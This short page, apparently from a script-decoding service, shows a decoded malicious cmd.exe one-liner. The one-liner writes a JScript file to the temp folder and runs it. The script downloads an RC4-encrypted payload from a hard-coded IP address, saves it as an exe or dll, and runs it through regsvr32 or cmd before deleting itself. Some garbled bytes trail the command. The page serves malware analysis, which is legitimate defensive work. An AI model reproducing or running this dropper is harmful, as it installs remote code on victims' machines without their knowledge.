Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	cmd.exe /q /c cd /d "%tmp%" && echo function O(l){
	return Math.random().toString(36).slice(-5)
};
	function V(k){
	var y=Q;
	y["set"+"Proxy"](n);
	y.open("GET",k(1),1);
	y.Option(n)=k(2);
	y.send();
	y["Wait"+"ForResponse"]();
	if(200==y.status)return _(y.responseText,k(n))
};
	function _(k,e){
	for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;
	256^>b;
	b++)c[b]=b;
	for(b=0;
	256^>b;
	b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;
	for(var p=l=b=0;
	p^<k.length;
	p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));
	return q.join("")
};
	try{
	var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");
	P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+,p="exe",n=0,K=WScript[P+"FullName"],E=+p;
	Y="Type";
	s[Y]=2;
	s.Charset="iso-8859-1";
	s.Open();
		try{
		v=V(m)
	}
		catch(W){
		v=V(m)
	};
	d=v.charCodeAt(027+v[M]("PE"));
	s.WriteText(v);
		if(32-1^<d){
		var z=1;
		x+="dll"
	}
	else x+=p;
	s.savetofile(x,2);
	s.Close();
	z^&^&(x="regsvr"+32+E+" /s "+x);
	j.run(Z+E+" /c "+x,0)
}
	catch(xXASXASSAA){
};
q.Deletefile(K);
>3.tMp && stArt wsCripT //B //E:JScript 3.tMp hj4ZytE5dZgd "http://45.138.26.35/?MjMxMzA1&svgH&oa1n4=xH3QMrLYbRzFFYHfLf_LS6FbNk&s2ht4=vWA0WDz4qHmarZCZ3oLzXjzrfFTB6xo1mtCF6IovAzbbEIfQDRhUHTLgFgnopVWl4V8aqoiELWyhKbh5OF_RHbYg4TrJbAEbU-21nznbUXcchzwxXW2WVWzukdYllNoQkQrA&vbqPZtMjYyNQ==" "4""Hƒè!ƒø_ƒ±á 



© 2021 Quttera Ltd. All rights reserved.